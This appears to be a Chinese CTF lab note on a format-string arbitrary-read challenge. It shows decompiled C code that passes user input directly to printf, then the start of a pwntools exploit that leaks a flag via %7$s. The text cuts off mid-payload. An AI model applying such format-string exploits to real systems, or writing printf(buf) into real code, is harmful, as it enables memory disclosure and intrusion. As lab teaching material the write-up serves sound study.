题解见博客 XXXXXXXX,本文重点在于使用raw_input动态联合调试
-
IDA后的源码,一个简单的格式化字符串任意读例题
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[256]; // [esp+1Ch] [ebp-104h] BYREF
unsigned int v5; // [esp+11Ch] [ebp-4h]
v5 = __readgsdword(0x14u);
read_flag();
puts("Give me something...");
buf[read(0, buf, 0xFFu)] = 0;
if ( strchr(buf, 110) )
puts("You cannot use 'n'");
else
printf(buf);
return 0;
}
-
对应的exp如下
# -*- coding:utf-8 -*
from pwn import *
#第七个参数覆盖为bss段gbuf的首地址,用%7$s显示flag字符串
context.log_level = 'debug'
p = process('./lab3_1')
flag_addr =0x0804A060
p.recvuntil('Give me something...')
raw_input() #加在发送payload之前
payload &#